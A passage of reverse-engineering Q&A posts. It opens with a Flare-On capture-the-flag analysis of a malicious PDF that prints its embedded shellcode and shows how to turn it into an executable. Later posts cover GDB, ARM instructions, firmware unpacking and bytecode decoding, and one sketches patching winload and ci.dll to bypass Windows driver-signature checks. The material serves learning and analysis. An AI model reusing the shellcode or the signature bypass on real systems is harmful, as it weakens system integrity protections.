root@kali:~# pdf-parser -s javascript APT9001.pdf \nobj 5 0\n Type: /Action\n Referencing: 6 0 R\n\n  <<\n    /Type /Action\n    /S /JavaScript\n    /JS 6 0 R\n  >>\n\n\nroot@kali:~# pdf-parser -o 6 APT9001.pdf \nobj 6 0\n Type: \n Referencing: \n Contains stream\n\n  <<\n    /Length 6170\n    /Filter '[  \\r\\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'\n  >>\n\n\nroot@kali:~# pdf-parser -o 6 -d APT9001.js -f APT9001.pdf \nobj 6 0\n Type: \n Referencing: \n Contains stream\n\n  <<\n    /Length 6170\n    /Filter '[  \\r\\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'\n  >>\n
\n\n

If i open the JavaScript file, i can quickly find the shellcode:

\n\n
\n

%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff

\n
\n\n

Now i am stucked with this part ,now how can i explore further :

\n\n

the possible solutions which i might think were

\n\n

convert these shellcode to exe and exporting it as txt \nonce the text was recovered exploring the stack of it{assumption]

\n\n

am i on right way?or any community ideas to reverse engineer these further?

\n", "Title": "Need advice : Reverse engineering a pdf with shellcode", "Tags": "|malware|vulnerability-analysis|callstack|shellcode|", "Answer": "

The answer by extreme coders was wonderful,i wish to share my method too over here:

\n\n

I convert it to an executable with the tools in REMnux:

\n\n
remnux@remnux:~$ unicode2hex-escaped < sc.txt > sc2.txt\nremnux@remnux:~$ shellcode2exe -s sc2.txt \n\n\nReading string shellcode from file sc2.txt\nGenerating executable file\nWriting file sc2.exe\nDone.\nremnux@remnux:~$ \n
\n\n

The shellcode puts something on the stack:

\n\n

\"enter

\n\n

If i split it and observe carefully :

\n\n

\"enter

\n\n

So my guessed answer would be wa1ch.d3m.spl01ts@flare-on.com

\n" }, { "Id": "9209", "CreationDate": "2015-06-23T14:47:59.357", "Body": "

I'm getting started with some reverse engineering lately, especially on Linux and ELF format, but I'm struggling here.

\n\n

For now I'm only using GDB to disassemble binaries, and even though I can read and understand the assembly code in general, I don't know \"where\" to look, or what register to check to find the flag (I'm talking about CTFs here).

\n\n

What I'm asking for are books or videos, something to get me used to GDB and give me the thinking methodology (if there's such a thing).\nThanks!

\n", "Title": "Books on reversing with GDB?", "Tags": "|disassembly|gdb|", "Answer": "

I highly recommended this position:\nhttps://www.amazon.com/Practical-Reverse-Engineering-Reversing-Obfuscation/dp/1118787315

\n" }, { "Id": "9212", "CreationDate": "2015-06-24T04:17:27.233", "Body": "

I am attempting to disassemble some ARM machine code.\nThe ARM Instruction Set defines the Block Data Transfer instructions (LDM and STM) as below, used for loading and storing to multiple registers at once.

\n\n

There are two types of addressing modes: for stacks or for other purposes. Maybe I'm not understanding something correctly, but I dont see a way to determine which type an instruction is using from looking at the machine code.

\n\n

Does it even matter on the CPU level, and is just a feature to make the assembly programmer's life easier? Since for example LDMFD and LDMIA are equivalent operations (I think?).

\n\n

\"enter

\n\n

\"enter

\n\n

\"enter

\n", "Title": "How to detect whether stack or alternative memory access type in LDM/STM instruction?", "Tags": "|disassembly|assembly|arm|", "Answer": "

From the ARM manual:

\n
\n

LDM and LDMFD are synonyms for LDMIA. LDMFD refers to its use for\npopping data from Full Descending stacks.

\n

LDMEA is a synonym for LDMDB, and refers to its use for popping data\nfrom Empty Ascending stacks.

\n

STM and STMEA are synonyms for STMIA. STMEA refers to its use for\npushing data onto Empty Ascending stacks.

\n

STMFD is s synonym for STMDB, and refers to its use for pushing data\nonto Full Descending stacks.

\n
\n

So yes, these are synonyms, confirmed by the manufacturer.

\n" }, { "Id": "9214", "CreationDate": "2015-06-24T13:29:44.140", "Body": "

I am making a memory editor for an application written in Python. I've successfully grabbed the memory data from the target process using OpenProcess and ReadProcessMemory functions from the kernel32.dll. \nOnce i have the data i manipulate it accordingly using python, and i pass it into a gui that i've created.

\n\n

What i want to do is this: Because the data that i grab contain static memory addresses, and there is no other way to write back to memory without calling WriteProcessMemory again, i thought of creating pointers that point directly to the static memory addresses so that with some tweaks in the gui, the values will get immediately back in memory.

\n\n

I tried to do this using ctypes cast function, which successfully creates the pointer (at least it does not spawn any error) but when i am trying to get the pointer contents, python crashes, so the only logical explanation is that the python script does not have direct access to the process memory space in order to load the data.

\n\n

Because of my lack of experience on the matter, i have no idea what i can do to make this possible. Is this where dll injection comes in handy? My only other option is to store the memory data as a file object in python, don't make use of the static pointers (that means a lot of conversions), make my changes and put the data back using WriteProcessMemory.

\n\n

Any help is highly appreciated

\n", "Title": "Defining Pointers outside the Target Proccess Memory Space", "Tags": "|memory|python|", "Answer": "

Memory in almost all modern OSes is virtualized, which means each process has its own address space. This means that the same addresses holds a different value in your python program than it holds in your debugee.

\n\n

So, the only way to patch that memory is WriteProcessMemory, there's no way to access the memory of your debugee with any kind of pointer.

\n\n

If you inject a DLL into the debugged process, that DLL could access the memory of that process directly, however, this still leaves you with the problem of how to communicate with the DLL, since you can't just call any functions in it if it's not in your process space. Combined with all other problems this may cause, i'd strongly recommend against that.

\n" }, { "Id": "9216", "CreationDate": "2015-06-24T14:12:17.907", "Body": "

On some RISC architectures there's no notion of stack pointer register - there's some register, used to hold a stack pointer and address of the stack frame, but nowhere told explicitly what.

\n\n

So, how do I found out what register being used for storing a stack pointer on RISC architectures?

\n", "Title": "How do I found out what register used for stack pointer on RISC architectures?", "Tags": "|disassembly|stack|risc|", "Answer": "

In most cases, even if there's no register that has any hardware/instruction support for being a stack pointer, either the processor manufacturer or the operating system designer defines an ABI (application binary interface) which, among others, contains a convention for calling subroutines. Compiler vendors normally conform to this ABI to make their code interchangable with that of other vendors, or standard libraries.

\n\n

The wikipedia page about calling conventions has information about the standard conventions of most of the common processors. as well as links to some of the manufacturer documents.

\n\n

However, noone forces you to use that exact convention. You could, for example, write a JVM that has the Java stack in one register, and the C/native stack in a different one. Or, you could use one register for the call/return stack, a different one for function parameters, and a third one for local variables. The hardware doesn't care, so you can do this if you feel it's advantageous to your application; however, in most cases, not using the standard ABI causes you trouble (as you can't use standard libraries anymore) without gaining you anything.

\n" }, { "Id": "9221", "CreationDate": "2015-06-25T06:31:03.357", "Body": "

Upon running info registers in gdb, we get an output similar to the following:

\n\n
rax            0x1c 28\nrbx            0x0  0\nrcx            0x400a60 4196960\nrdx            0x7fffffffde88   140737488346760\nrsi            0x1  1\nrdi            0x400932 4196658\nrbp            0x0  0x0\nrsp            0x7fffffffde68   0x7fffffffde68\nr8             0x400ad0 4197072\nr9             0x7ffff7dea560   140737351951712\nr10            0x7fffffffdc30   140737488346160\nr11            0x7ffff7732dd0   140737344908752\nr12            0x4007f0 4196336\nr13            0x7fffffffde80   140737488346752\nr14            0x0  0\nr15            0x0  0\nrip            0x7ffff7732dd0   0x7ffff7732dd0\neflags         0x202    [ IF ]\ncs             0x33 51\nss             0x2b 43\nds             0x0  0\nes             0x0  0\nfs             0x0  0\ngs             0x0  0\n
\n\n

While I do understand the for rax, rcx etc, GDB is converting the value to decimal for the second column, this doesn't seem consistent. Some registers, namely rsp and rip show the same value in hex, even in the second column. eflags on the other hand shows the flags in the second column.

\n\n

What is the reason that gdb does this? If it is going to show the same info (in case of rsp and rip), isn't it redundant? Also, how does this generalize on other architectures? (The above output is for x86-64).

\n\n

Source. I re-asked this question since I thought I would find more specific answer in reverse engineering point of view.

\n", "Title": "Output of gdb `info registers`", "Tags": "|gdb|register|", "Answer": "

In fact, in assembly you can find only three types of values:

\n\n
    \n
  1. Numerical values;
    2. \n
  2. Memory addresses;
    3. \n
  3. Instructions (opcodes).
    4. \n
\n\n

General purpose registers, such as rax, rbx, ..., are used to store either numerical values (that will trigger the behavior of the program) or memory addresses (to know where to read/write or to jump).

\n\n

Of course, as most of human beings are used to decimal format for the values used in programs, it is important to display a decimal format when the register might contain such values.

\n\n

Now, it is important to know that memory addresses are usually given in hexadecimal format (mainly for compactness reasons). And, general purpose registers might also contain memory addresses. That is why gdb display both decimal and hexadecimal formats just in case one or the other is the best suitable for the current value.

\n\n

The registers rsp, rip (and rbp) are special cases because they are specifically used to store addresses (and only this), thus it would be of no use to translate the content of such registers into decimal format. That is why gdb is only giving an hexadecimal format for these registers.

\n\n

Finally, the case of the rflags/eflags is a bit special because this register has a meaning that is bit-per-bit dependent (see the following figure).

\n\n

\"EFLAGS

\n\n

Therefore, giving the decimal, hexadecimal or binary format is not really useful to the user (except if you can relate the numbers to the flags instantly). But, it is much more useful to give the list of flags that are set as 'true' (this is the [ IF ] that you see in your example). Yet, gdb gives the hexadecimal value of the eflags as it can be accessed and used as a value in programs (I have seen this for obfuscation purpose).

\n" }, { "Id": "9229", "CreationDate": "2015-06-25T23:20:08.980", "Body": "

I am trying to extract this ONT I240w-A firmware and binwalk reports some LZMA compressed data (dump below) but the fact the all of them read \"uncompressed size: -1 bytes\" makes me suspect they are false positives. Is this a correct assumption? Can someone provide any suggestions on how to unpack this file?

\n\n
DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n64613         0xFC65          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n663307        0xA1F0B         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n1277775       0x137F4F        VMware4 disk image\n1419798       0x15AA16        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n2167742       0x2113BE        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n2966631       0x2D4467        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n3649662       0x37B07E        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n4619541       0x467D15        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n5626408       0x55DA28        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n6526915       0x6397C3        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n7352076       0x702F0C        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n8028944       0x7A8310        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n8790601       0x862249        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n9628455       0x92EB27        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n10380524      0x9E64EC        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n11136805      0xA9EF25        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n11917494      0xB5D8B6        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n12590672      0xC01E50        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n13354487      0xCBC5F7        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n13954117      0xD4EC45        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n13955290      0xD4F0DA        uImage header, header size: 64 bytes, header CRC: 0xED8A6EC8, created: 2013-08-16 11:32:36, image size: 2369813 bytes, Data Address: 0x80010000, Entry Point: 0x80014110, data CRC: 0xB66029EE, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: gzip, image name: \"Linux Kernel Image\"\n13955354      0xD4F11A        gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)\n16325167      0xF91A2F        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n16476952      0xFB6B18        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes\n
\n", "Title": "How to extract the filesystem from a I240w-A firmware", "Tags": "|firmware|unpacking|", "Answer": "

All the LZMA entries appear to be valid, and decompress to tar archives (-1 is a valid file size, and is used when the compressor doesn't know the size of the original data, such as when the data is passed via stdin).

\n\n

Although the tar file name is the same for most of them (\"tmp_file\"), the un-tar'd data is different; there appears to be a UBIFS file system in there, as well as plenty of plain text shell scripts and the like:

\n\n
Scan Time:     2015-07-27 23:33:31\nTarget File:   /home/eve/Downloads/_FE54869ACAD07.extracted/_6397C3.extracted/tmp_file\nMD5 Checksum:  63a711b8ee1cdbb886d572dd610f7a2d\nSignatures:    332\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n40361         0x9DA9          Executable script, shebang: \"/bin/sh\"\n90177         0x16041         Executable script, shebang: \"/bin/sh\"\n113593        0x1BBB9         Executable script, shebang: \"/bin/sh\"\n197217        0x30261         Executable script, shebang: \"/bin/sh\"\n203169        0x319A1         Unix path: /opt/tools/broadlight/sysroot)I\n297561        0x48A59         Executable script, shebang: \"/bin/sh\"\n376433        0x5BE71         Executable script, shebang: \"/bin/sh\"\n388553        0x5EDC9         Executable script, shebang: \"/bin/sh\"\n396018        0x60AF2         Unix path: /../sysroot/usr/include\n415009        0x65521         Executable script, shebang: \"/bin/sh\"\n415617        0x65781         Executable script, shebang: \"/bin/sh\"\n431897        0x69719         Executable script, shebang: \"/bin/sh\"\n436698        0x6A9DA         HTML document header\n504153        0x7B159         Executable script, shebang: \"/bin/sh\"\n629257        0x99A09         Executable script, shebang: \"/bin/sh\"\n629673        0x99BA9         Executable script, shebang: \"/bin/sh\"\n630169        0x99D99         Executable script, shebang: \"/bin/sh\"\n630889        0x9A069         Executable script, shebang: \"/bin/sh\"\n678623        0xA5ADF         Unix path: /x86-linux2/../sysroot/usr/include\n\n\nScan Time:     2015-07-27 23:33:31\nTarget File:   /home/eve/Downloads/_FE54869ACAD07.extracted/_862249.extracted/tmp_file\nMD5 Checksum:  099fbe96cd12990a19fe55e2dc4b651c\nSignatures:    332\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             UBIFS superblock node, CRC: 0xD1C96755, flags: 0x0, min I/O unit size: 2048, erase block size: 129024, erase block count: 157, max erase blocks: 288, format version: 4, compression type: lzo\n129024        0x1F800         UBIFS master node, CRC: 0xCB83706A, highest inode: 1330, commit number: 0\n258048        0x3F000         UBIFS master node, CRC: 0xC7B38577, highest inode: 1330, commit number: 0\n
\n\n

I don't know of any good tools to work with UBIFS though, maybe someone else here has some suggestions?

\n" }, { "Id": "9230", "CreationDate": "2015-06-26T01:18:36.430", "Body": "

I've read that the return address of a function call is always pushed on the ESP stack. But the thing when i tried to see that using gdb, I didn't find it. Here's the program written in C I've used :

\n\n
#include <stdio.h>\n#include <stdlib.h>\n\nvoid test_function(int a, int b, int c, int d) {\nint flag;\nchar buffer[10];\nflag = 31337;\nbuffer[0] = 'A';\n}\n\nint main() {\n  test_function(1, 2, 3, 4);\n}\n
\n\n

gdb disassemble of this code gives me:

\n\n
(gdb) disas main\nDump of assembler code for function main:\n   0x0804846c <+0>: push   ebp\n   0x0804846d <+1>: mov    ebp,esp\n   0x0804846f <+3>: and    esp,0xfffffff0\n   0x08048472 <+6>: sub    esp,0x10\n   0x08048475 <+9>: mov    DWORD PTR [esp+0xc],0x4\n   0x0804847d <+17>:    mov    DWORD PTR [esp+0x8],0x3\n   0x08048485 <+25>:    mov    DWORD PTR [esp+0x4],0x2\n   0x0804848d <+33>:    mov    DWORD PTR [esp],0x1\n=> 0x08048494 <+40>:    call   0x804843d <test_function>\n   0x08048499 <+45>:    leave  \n   0x0804849a <+46>:    ret    \nEnd of assembler dump.\n(gdb) x/8xw $esp\n0xffffd650: 0x00000001  0x00000002  0x00000003  0x00000004\n0xffffd660: 0x080484a0  0x00000000  0x00000000  0xf7e21a83\n
\n\n

As you can see , I've put a breakpoint at 0x08048494 (before the function call). I can see the arguments being pushed on the stack (1,2,3,4) but , I don't see the return address , which in this case should be 0x08048499, right ?

\n", "Title": "Return address on ESP?", "Tags": "|stack|address|esp|", "Answer": "

Lets take this small example code:

\n\n
#include <stdio.h>\n#include <stdlib.h>\n\nint foo (int a)\n{\n  return a ? a << 2: 1000;\n}\n\nint main()\n{\n  printf(\"The result of foo(10) is %d\\n\", foo(10));\n\n  return EXIT_SUCCESS;\n}\n
\n\n

Once in assembly we get:

\n\n
0000000000400506 <foo>:\n  400506:       55                      push   %rbp\n  400507:       48 89 e5                mov    %rsp,%rbp\n  40050a:       89 7d fc                mov    %edi,-0x4(%rbp)\n  40050d:       83 7d fc 00             cmpl   $0x0,-0x4(%rbp)\n  400511:       74 08                   je     40051b <foo+0x15>\n  400513:       8b 45 fc                mov    -0x4(%rbp),%eax\n  400516:       c1 e0 02                shl    $0x2,%eax\n  400519:       eb 05                   jmp    400520 <foo+0x1a>\n  40051b:       b8 e8 03 00 00          mov    $0x3e8,%eax\n  400520:       5d                      pop    %rbp\n  400521:       c3                      retq   \n\n0000000000400522 <main>:\n  400522:       55                      push   %rbp\n  400523:       48 89 e5                mov    %rsp,%rbp\n  400526:       bf 0a 00 00 00          mov    $0xa,%edi\n  40052b:       e8 d6 ff ff ff          callq  400506 <foo>\n  400530:       89 c6                   mov    %eax,%esi\n  400532:       bf d4 05 40 00          mov    $0x4005d4,%edi\n  400537:       b8 00 00 00 00          mov    $0x0,%eax\n  40053c:       e8 9f fe ff ff          callq  4003e0 <printf@plt>\n  400541:       b8 00 00 00 00          mov    $0x0,%eax\n  400546:       5d                      pop    %rbp\n  400547:       c3                      retq   \n  400548:       0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)\n  40054f:       00 \n
\n\n

Lets take a look at the following gdb session:

\n\n
(gdb) break *0x40052b\nBreakpoint 1 at 0x40052b: file frame.c, line 13.\n(gdb) break *0x400530\nBreakpoint 2 at 0x400530: file frame.c, line 13.\n
\n\n

We just set a breakpoint before and after the foo procedure call.

\n\n
(gdb) break foo\nBreakpoint 3 at 0x40050d: file frame.c, line 7.\n
\n\n

We set a breakpoint in the foo procedure.

\n\n
(gdb) run\nStarting program: /home/fleury/tmp/tests/frame \n\nBreakpoint 1, 0x000000000040052b in main () at frame.c:13\n13    printf(\"The result of foo(10) is %d\\n\", foo(10));\n
\n\n

We start the program and we hit the first breakpoint before the call to foo.

\n\n
(gdb) info frame\nStack level 0, frame at 0x7fffffffe0c0:\n rip = 0x40052b in main (frame.c:13); saved rip = 0x7ffff7a54b45\n source language c.\n Arglist at 0x7fffffffe0b0, args: \n Locals at 0x7fffffffe0b0, Previous frame's sp is 0x7fffffffe0c0\n Saved registers:\n  rbp at 0x7fffffffe0b0, rip at 0x7fffffffe0b8\n
\n\n

We asked information about the stack frame environment. We can notice that save rip = 0x7ffff7a54b45 (which is the return address of the main procedure).

\n\n
(gdb) continue\nContinuing.\n\nBreakpoint 3, foo (a=10) at frame.c:7\n7     return a ? a << 2: 1000;\n
\n\n

We continue the execution of the program and got stopped inside the foo procedure (third breakpoint). Lets ask about the stack frame:

\n\n
 (gdb) info frame\n Stack level 0, frame at 0x7fffffffe0b0:\n  rip = 0x40050d in foo (frame.c:7); saved rip = 0x400530\n called by frame at 0x7fffffffe0c0\n source language c.\n Arglist at 0x7fffffffe0a0, args: a=10\n Locals at 0x7fffffffe0a0, Previous frame's sp is 0x7fffffffe0b0\n Saved registers:\n  rbp at 0x7fffffffe0a0, rip at 0x7fffffffe0a8\n
\n\n

Note that saved rip = 0x400530 which is exactly the position of the next assembly instruction after the call foo.

\n\n
(gdb) continue\nContinuing.\n\nBreakpoint 2, 0x0000000000400530 in main () at frame.c:13\n13    printf(\"The result of foo(10) is %d\\n\", foo(10));\n
\n\n

We keep going in the execution and we reach the second breakpoint at the exit of the foo procedure. Again, lets ask for the return address:

\n\n
(gdb) info frame\nStack level 0, frame at 0x7fffffffe0c0:\n rip = 0x400530 in main (frame.c:13); saved rip = 0x7ffff7a54b45\n source language c.\n Arglist at 0x7fffffffe0b0, args: \n Locals at 0x7fffffffe0b0, Previous frame's sp is 0x7fffffffe0c0\n Saved registers:\n  rbp at 0x7fffffffe0b0, rip at 0x7fffffffe0b8\n
\n\n

It has been restored to the original value when we popped out of foo.

\n\n

In fact, the info frame (shortened into i f) also tell where to find the stored return address on the stack:

\n\n
 Saved registers:\n  rbp at 0x7fffffffe0b0, rip at 0x7fffffffe0b8\n
\n\n

And, if you ask gdb to display the content of 0x7fffffffe0b8 you should see 0x7ffff7a54b45:

\n\n
(gdb) print /x *0x7fffffffe0b8\n$1 = 0x7ffff7a54b45\n
\n" }, { "Id": "9233", "CreationDate": "2015-06-26T16:38:18.320", "Body": "

From the recent dissasembly of \"HelloWorld.exe\" compiled by MSVC:

\n\n
.text:00411279                 call    ds:__imp__printf\n
\n\n

So, why base address is data segment, not a code segment (which would be a more logical thing to do?)

\n\n

Project uses Multithreaded Debug Dll as runtime library.

\n", "Title": "Why does windows put standard functions base address in Data Segment?", "Tags": "|disassembly|windows|", "Answer": "

The ds: was added by IDA, not by the compiler. If you look at the raw opcode bytes, you will see that there is no DS override prefix in the instruction. It's silly that it does this.

\n\n

IDA adds that ds: prefix because otherwise you wouldn't know that this is an indirect call--that is, that it's reading a 32-bit variable at an address named __imp__printf then calling the address stored in that variable. Without the ds:, it would be just be calling __imp__printf directly.

\n\n

If IDA used a better assembly language syntax--namely, the nasm syntax--that instruction would look like simply this, using brackets to show that it is a memory read (and dword to distinguish from a few other weird types of call):

\n\n
.text:00411279             call dword [__imp__printf]\n
\n\n

Windows, like pretty much every other 32-bit OS, has a flat address space. CS, DS, ES and SS all have the same base address, 0, so it doesn't matter which segment you use as your base. (Except that you can't do a memory write if CS is your segment.) FS and GS have different bases, since the major OS's all use them for thread-local storage, but those will always have explicit prefix bytes in the instruction.

\n" }, { "Id": "9243", "CreationDate": "2015-06-28T13:26:44.743", "Body": "

Introduction

\n\n

Since Windows Vista and higher versions a non-boot kernel-mode driver is installed by validating the certificate issued to sign the catalog file and each file associated with the catalog : .inf, .sys and .dll dependencies.

\n\n

This is done by checking whether the certificate chain is valid, that means that the root CA has to be under the local Trusted Root CA and also the leaf certificate (not the root CA) has to be under the Trusted Publisher, so the installation doesn't prompt to ask the user if he trusts in the publisher.

\n\n

However, when the installation finishes the driver fails to load into the kernel. I suppose that winload validates the driver's certificate by looking in its own trusted root CA store, so the only CAs that are supported are in this list :

\n\n\n\n
\n\n

Question

\n\n

Is there a way to patch winload to insert a new Root CA so when it loads our driver it validates the certificate correctly?

\n\n

I know that modifying winload will break its digital signature, so we can resign it using the private key of our new Root CA, that will do the work theoretically.

\n", "Title": "Patch driver loading process", "Tags": "|windows|kernel-mode|patching|driver|operating-systems|", "Answer": "

Yes, you would need to patch ci.dll (which contains the list of hardcoded Root CAs) and winload.exe (which validates the integrity of ci.dll).

\n\n

You can find this discussed in http://www.programdevelop.com/4608016/.

\n" }, { "Id": "9245", "CreationDate": "2015-06-28T23:52:14.100", "Body": "

I'm trying to reverse engineer a proprietary scripting \"compiled bytecode\" So I can recover source codes of contractor who has gone.

\n\n

While I worked out the majority of it, I'm trying to work out how to translate expressions back into code. Wondering if anyone may have some ideas from the patterns below the sort of logic that might be used to rebuild the equations. In particular how operators may be applied back to the components of the expression.

\n\n

Specifically I'm trying to work out how to decompile these two expressions:

\n\n
A = B * C+D/E-F\nA = B * (C+D)/E-F\n
\n\n

Operation Codes ,this was worked out from examples provided below

\n\n
22 04 >\n2B 04 <\n32 04 *\n01 04 +\n17 04 /\n55 04 -\n25 00 AND\n27 00 OR\n26 04 end of statement\n
\n\n

Type of assignment:

\n\n
3D 40 xx xx       = Variable xx xx \n3D 45 xx xx xx xx = 4 byte number\n4B xx             = One byte value\n48 xx             = One byte value\n38 40 xx xx       = Assign result to variable xx xx\n
\n\n

In this example the variables are:

\n\n
A = 00 00\nB = 00 04\nC = 00 08\nD = 00 0C\nE = 00 10\nF = 00 14\n
\n\n

Example:

\n\n

A = 10*20+30/40-50/2

\n\n
4B AF       ; 175 \n38 40 00 00 ; Assign result to A\n
\n\n

A = 10*B+30/40-50/2

\n\n
48 0A       ; 10\n3D 40 00 04 ; B \n32 04       ; *\n48 00       ; 0\n01 04       ; +\n48 19       ; 25\n55 04       ; -\n38 40 00 00 ; assign result to A\n
\n\n

A = B+C

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n01 04       ; +\n38 40 00 00 ; assign result to A\n
\n\n

A = B*C

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n32 04       ; *\n38 40 00 00 ; assign result to A\n
\n\n

A = B-C

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n55 04       ; -\n38 40 00 00 ; Assign result to A\n
\n\n

A = B/C

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n17 04       ; / \n38 40 00 00 ; Assign result to A\n
\n\n

A = B*C+D-E/F

\n\n
